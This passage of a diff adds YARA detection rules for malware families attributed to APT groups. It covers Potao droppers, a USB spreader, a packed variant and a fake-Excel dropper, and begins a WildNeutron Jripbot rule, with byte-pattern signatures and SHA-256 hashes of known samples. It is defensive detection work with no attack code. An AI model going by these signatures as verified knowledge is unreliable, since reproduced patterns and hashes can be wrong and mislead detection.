+		$block_61 = { FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 8B ?? 5? C9 C2 }
+		$block_62 = { 6A ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 0F B7 ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? 3B ?? 0F 83 }
+
+	condition:
+		hash.sha256(0, filesize) == "027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745" or
+		12 of them
+}
+
+rule PotaoUSBSpreader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF D? 89 ?? ?? 6A ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 33 ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 8B ?? 5? C3 }
+		$block_1 = { 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? 6A ?? 5? 88 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? }
+		$block_2 = { 81 E? ?? ?? ?? ?? 5? 5? 8B ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF D? A1 ?? ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? FF D? 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? 5? 8B ?? ?? ?? 6A ?? 8B ?? 6A ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? ?? FF D? 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? 5? 8B ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? 5? 5? FF D? 8B ?? ?? ?? 8B ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 6A ?? 83 ?? ?? 8D ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? FF D? 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 6A ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? FF D? 8B ?? ?? 8D ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? ?? FF D? 85 ?? 0F 84 }
+		$block_4 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF D? 8B ?? ?? 8D ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 8B ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 8B ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 5? 5? 89 ?? ?? ?? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 5? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_6 = { 83 ?? ?? 5? 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 83 ?? ?? 0F 84 }
+		$block_7 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 5? FF D? 8B ?? ?? 6A ?? FF D? 8B ?? 8B ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? D3 ?? F6 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "12bb18fa9a12cb89dea3733b342940b80cd453886390079cb4c2ffcd664baeda" or
+		hash.sha256(0, filesize) == "4688afcc161603bfa1c997b6d71b9618be96f9ff980e5486c451b1cc2c5076cb" or
+		hash.sha256(0, filesize) == "339a5199e6d0b5f781b08b2ca0ad0495e75e52b8e2fd69e1d970388fbca7a0d6" or
+		hash.sha256(0, filesize) == "7492e84a30e890ebe3ca5140ad547965cc8c43f0a02f66be153b038a73ee5314" or
+		hash.sha256(0, filesize) == "1acae7c11fb559b81df5fc6d0df0fe502e87f674ca9f4aefc2d7d8f828ba7f5c" or
+		hash.sha256(0, filesize) == "e3892d2d9f87ea848477529458d025898b24a6802eb4df13e96b0314334635d0" or
+		hash.sha256(0, filesize) == "09c04206b57bb8582faffb37e4ebb6867a02492ffc08268bcbc717708d1a8919" or
+		hash.sha256(0, filesize) == "93accb71bf4e776955756c76990298decfebe4b1dd9fbf9d368e81dc1cb9532d" or
+		hash.sha256(0, filesize) == "90b20b1687909c2f76f750ba3fd4b14731ce736c08c3a8608d28eae3f4cd68f3" or
+		hash.sha256(0, filesize) == "340b09d661a6ac45af53c348a5c1846ad6323d34311e66454e46c1d38d53af8b" or
+		hash.sha256(0, filesize) == "7d15bd854c1dfef847cdd3caabdf4ab81f2410ee5c7f91d377cc72eb81135ff4" or
+		hash.sha256(0, filesize) == "3d78f52fa0c08d8bf3d42074bf76ee56aa233fb9a6bc76119998d085d94368ca" or
+		hash.sha256(0, filesize) == "e57eb9f7fdf3f0e90b1755d947f1fe7bb65e67308f1f4a8c25bc2946512934b7" or
+		hash.sha256(0, filesize) == "99a09ad92cc1a2564f3051057383cb6268893bc4a62903eabf3538c6bfb3aa9c" or
+		hash.sha256(0, filesize) == "34e6fb074284e58ca80961feda4fe651d6d658077914a528a4a6efa91ecc749d" or
+		hash.sha256(0, filesize) == "b8b02cc57e45bcf500b433806e6a4f8af7f0ac0c5fc9adfd11820eebf4eb5d79" or
+		hash.sha256(0, filesize) == "f1d7e36af4c30bf3d680c87bbc4430de282d00323bf8ae9e17b04862af286736" or
+		hash.sha256(0, filesize) == "461dd5a58ffcad9fffba9181e234f2e0149c8b8ba28c7ea53753c74fdfa0b0d5" or
+		hash.sha256(0, filesize) == "61862a55dcf8212ce9dd4a8f0c92447a6c7093681c592eb937a247e38c8109d4" or
+		hash.sha256(0, filesize) == "95631685006ac92b7eb0755274e2a36a3c9058cf462dd46f9f4f66e8d67b9db2" or
+		10 of them
+}
+
+rule PotaoDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { B9 ?? ?? ?? ?? D1 ?? 8B ?? ?? 0F B6 ?? ?? 99 B1 ?? E8 ?? ?? ?? ?? 33 ?? ?? 33 ?? ?? 89 ?? ?? 89 }
+		$block_1 = { 8B ?? ?? 0F BE ?? ?? 33 ?? 8B ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_2 = { B9 ?? ?? ?? ?? 6B ?? ?? 8B ?? ?? 0F B6 ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 74 }
+		$block_4 = { 8B ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 7C }
+		$block_5 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 03 ?? 5? 8B ?? 5? C3 }
+		$block_6 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F BE ?? 85 ?? 75 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? FC 33 ?? 64 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B }
+		$block_9 = { 83 ?? ?? ?? ?? ?? ?? 60 0F 31 33 ?? 4? D1 ?? 23 ?? 89 ?? ?? 61 8B ?? ?? EB }
+		$block_10 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? B8 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_12 = { 8B ?? ?? 0F BE ?? ?? 8B ?? ?? 0F BE ?? ?? ?? ?? ?? 33 ?? 8B ?? ?? 88 }
+		$block_13 = { 8B ?? ?? 0F BE ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 74 }
+		$block_14 = { 8B ?? ?? 0F BE ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8D ?? ?? 8B ?? ?? 03 ?? EB }
+		$block_16 = { B9 ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? 33 ?? ?? 89 }
+		$block_17 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? 03 ?? EB }
+		$block_18 = { 5? 8B ?? 5? 5? 5? 5? FC 33 ?? 64 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B }
+		$block_19 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_20 = { B9 ?? ?? ?? ?? D1 ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? 33 ?? ?? 89 }
+		$block_21 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 0F BF ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_22 = { B2 ?? B1 ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? ?? ?? EB }
+		$block_23 = { 0F B6 ?? ?? C6 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_24 = { 8B ?? ?? 89 ?? 33 ?? 85 ?? 0F 94 ?? 5? 5? 5? 8B ?? C9 C3 }
+		$block_25 = { 8B ?? ?? 03 ?? ?? 0F BE ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_26 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 83 ?? ?? ?? E8 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_28 = { 89 ?? ?? 8B ?? ?? 5? 5? A3 ?? ?? ?? ?? 5? C9 C3 }
+		$block_29 = { 8B ?? ?? 89 ?? 33 ?? 85 ?? 0F 94 ?? 8B ?? C9 C3 }
+		$block_30 = { 83 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 0F 85 }
+		$block_31 = { 8B ?? ?? 03 ?? ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 75 }
+		$block_32 = { 5? 8B ?? 5? 89 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "2de76a3c07344ce322151dbb42febdff97ade8176466a3af07e5280bd859a186" or
+		hash.sha256(0, filesize) == "793a8ce811f423dfde47a5f44ae50e19e7e41ad055e56c7345927eac951e966b" or
+		hash.sha256(0, filesize) == "f1f61a0f9488be3925665f8063006f90fab1bf0bd0b6ff5f7799f8995ff8960e" or
+		hash.sha256(0, filesize) == "904bb2efe661f654425e691b7748556e558a636d4f25c43af9d2d4dfbe83262e" or
+		hash.sha256(0, filesize) == "97afe4b12a9fed40ad20ab191ba0a577f5a46cbfb307e118a7ae69d04adc2e2d" or
+		hash.sha256(0, filesize) == "4e88b8b121d768c611fe16ae1f008502b2191edc6f2ee84fef7b12b4d86fe000" or
+		hash.sha256(0, filesize) == "29dfc81b400a1400782623c618cb1d507f5d17bb13de44f123a333093648048f" or
+		hash.sha256(0, filesize) == "b62589ee5ba94d15edcf8613e3d57255dd7a12fce6d2dbd660fd7281ce6234f4" or
+		hash.sha256(0, filesize) == "d2c11706736fda2b178ac388206472fd8d050e0f13568c84b37683423acd155d" or
+		12 of them
+}
+
+rule Potaov1Packed {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? FF 5? ?? 85 ?? 0F 84 }
+		$block_1 = { 6A ?? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 9? 9? 9? 9? 9? 9? 9? 9? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 9? 9? 9? 9? 9? 9? 9? 9? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 0F B7 ?? ?? 83 ?? ?? ?? 33 ?? 8D ?? ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_5 = { FF 7? ?? 03 ?? FF 7? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_6 = { 5? 8D ?? ?? 5? 5? 5? 5? 5? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_7 = { 9? 9? 9? 9? 9? 9? 9? 9? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_8 = { F3 ?? ?? ?? ?? 0F 57 ?? F3 ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F 86 }
+		$block_9 = { 8D ?? ?? E8 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 3B ?? 74 }
+		$block_10 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$block_11 = { 6A ?? FF 1? ?? ?? ?? ?? 33 ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$block_12 = { 83 ?? ?? ?? ?? ?? ?? 60 0F 31 33 ?? 4? D1 ?? 23 ?? 89 ?? ?? 61 8B ?? ?? EB }
+		$block_13 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 5? 5? 89 ?? ?? 39 ?? ?? ?? ?? ?? 0F 84 }
+		$block_14 = { FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_15 = { D9 ?? ?? D9 ?? ?? DC ?? ?? ?? ?? ?? DF ?? F6 ?? ?? 0F 8A }
+		$block_16 = { 2B ?? 4? 89 ?? ?? ?? 60 9? 9? 9? 9? 9? 9? 61 33 ?? 33 }
+		$block_17 = { 2B ?? 4? 89 ?? ?? 60 9? 9? 9? 9? 9? 9? 61 33 ?? 33 }
+		$block_18 = { 6A ?? FF 1? ?? ?? ?? ?? 0C ?? 9E AD 9? B5 ?? CB }
+
+	condition:
+		hash.sha256(0, filesize) == "ac73eb13779656a5692082c11733731ec4e177ca46f36abdffb28efa39c0940b" or
+		hash.sha256(0, filesize) == "ab8d308fd59a8db8a130fcfdb6db56c4f7717877c465be98f71284bdfccdfa25" or
+		hash.sha256(0, filesize) == "2ff0941fe3514abc12484ad2853d22fd7cb36469a313b5ecb6ef0c6391cf78ab" or
+		hash.sha256(0, filesize) == "945c594aee1b5bd0f3a72abe8f5a3df74fc6ca686887db5e40fe859e3fc90bb1" or
+		hash.sha256(0, filesize) == "54a76f5cd5a32ed7d5fa78e5d8311bafc0de57a475bc2fddc23ee4b3510b9d44" or
+		hash.sha256(0, filesize) == "20198aad15943b67fea8a0826d5b77f014de5691fd6b3bc3a7c0331ca4681ce1" or
+		hash.sha256(0, filesize) == "8a508924e46c9afadb6d8e863942bd33ce278b1cc1033dd3a8e2a77b8d3648a3" or
+		12 of them
+}
+
+rule PotaoDropperFakeExcel {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? 33 ?? 69 ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 33 ?? 69 ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 5? 33 ?? 5? 5? C2 }
+		$block_1 = { 33 ?? 4? 6B ?? ?? 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_2 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? 5? 03 ?? 5? 5? 8B ?? 5? C2 }
+		$block_3 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 03 ?? 5? 8B ?? 5? C3 }
+		$block_4 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_5 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 33 ?? 85 ?? 0F 94 ?? 5? 89 ?? 5? 5? 8B ?? 8B ?? 5? C3 }
+		$block_7 = { C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_8 = { 8B ?? ?? 5? 33 ?? 89 ?? 85 ?? 5? 0F 94 ?? 5? C9 C2 }
+		$block_9 = { 1B ?? 83 ?? ?? 85 ?? 5? 0F 94 ?? 5? 8B ?? 5? C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "aa23a93d2fed81daacb93ea7ad633426e04fcd063ff2ea6c0af5649c6cfa0385" or
+		hash.sha256(0, filesize) == "c66955f667e9045ea5591ebf9b59246ad86227f174ea817d1398815a292b8c88" or
+		hash.sha256(0, filesize) == "048621ecf8f25133b2b09d512bb0fe15fc274ec7cb2ccc966aeb44d7a88beb5b" or
+		hash.sha256(0, filesize) == "8bc189dee0a71b3a8a1767e95cc726e13808ed7d2e9546a9d6b6843cea5eb3bd" or
+		hash.sha256(0, filesize) == "d6f126ab387f1d856672c730991573385c5746c7c84738ab97b13c897063ff4a" or
+		10 of them
+}
+
+rule PotaoDropperw {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? ?? ?? ?? ?? 0F B6 ?? 8B ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 88 ?? EB }
+		$block_1 = { 5? 5? 8D ?? ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 83 ?? ?? 74 }
+		$block_3 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 3B ?? 0F 84 }
+		$block_6 = { A1 ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? 33 ?? 88 ?? ?? FF 0? ?? ?? ?? ?? EB }
+		$block_7 = { FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$block_8 = { 8B ?? 8D ?? ?? A5 A5 66 ?? 8D ?? ?? 89 ?? ?? 83 ?? ?? ?? EB }
+		$block_9 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 9B 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_10 = { FF 7? ?? FF 1? ?? ?? ?? ?? 9B 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_11 = { 8B ?? ?? 4? 5? E8 ?? ?? ?? ?? 8B ?? 5? 3B ?? 0F 84 }
+		$block_12 = { 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 88 ?? ?? ?? ?? ?? EB }
+		$block_13 = { 8B ?? ?? 89 ?? 33 ?? 85 ?? 0F 94 ?? 8B ?? C9 C2 }
+
+	condition:
+		hash.sha256(0, filesize) == "15760f0979f2ba1b4d991f19e8b59fc1e61632fcc88755a4d147c0f5d47965c5" or
+		hash.sha256(0, filesize) == "b9c285f485421177e616a148410ddc5b02e43f0af375d3141b7e829f7d487bfd" or
+		hash.sha256(0, filesize) == "cf3b0d8e9a7d0ad32351ade0c52de583b5ca2f72e5af4adbf638c81f4ad8fbcb" or
+		hash.sha256(0, filesize) == "dbc1b98b1df1d9c2dc8a5635682ed44a91df6359264ed63370724afa9f19c7ee" or
+		hash.sha256(0, filesize) == "4328b06093a4ad01f828dc837053cb058fe00f3a7fd5cfb9d1ff7feb7ebb8e32" or
+		hash.sha256(0, filesize) == "61dd8b60ac35e91771d9ed4f337cd63e0aa6d0a0c5a17bb28cac59b3c21c24a9" or
+		12 of them
+}
+
+rule PotaoDebugDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 0F BE ?? ?? 33 ?? 8B ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_1 = { B9 ?? ?? ?? ?? 6B ?? ?? 8B ?? ?? 0F B6 ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 }
+		$block_2 = { 8B ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 7C }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F BE ?? 85 ?? 75 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? FC 33 ?? 64 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B }
+		$block_5 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_6 = { 5? 8B ?? 83 ?? ?? B8 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_7 = { 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? ?? ?? EB }
+		$block_8 = { 8B ?? ?? 0F BE ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 74 }
+		$block_9 = { 8B ?? ?? 0F BE ?? ?? 8B ?? ?? 0F BE ?? ?? ?? ?? ?? 33 ?? 8B ?? ?? 88 }
+		$block_10 = { 8B ?? ?? 0F BE ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_11 = { B9 ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? 33 ?? ?? 89 }
+		$block_12 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_13 = { B9 ?? ?? ?? ?? D1 ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? 33 ?? ?? 89 }
+		$block_14 = { 0F B6 ?? ?? C6 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_15 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 0F BF ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_16 = { 8B ?? ?? 03 ?? ?? 0F BE ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_17 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_18 = { 5? 8B ?? 5? 89 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "f845778c3f2e3272145621776a90f662ee9344e3ae550c76f65fd954e7277d19" or
+		hash.sha256(0, filesize) == "910f55e1c4e75696405e158e40b55238d767730c60119539b644ef3e6bc32a5d" or
+		hash.sha256(0, filesize) == "c821cb34c86ec259af37c389a8f6cd635d98753576c675882c9896025a1abc53" or
+		12 of them
+}
+
+rule WildNeutronJripbot {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
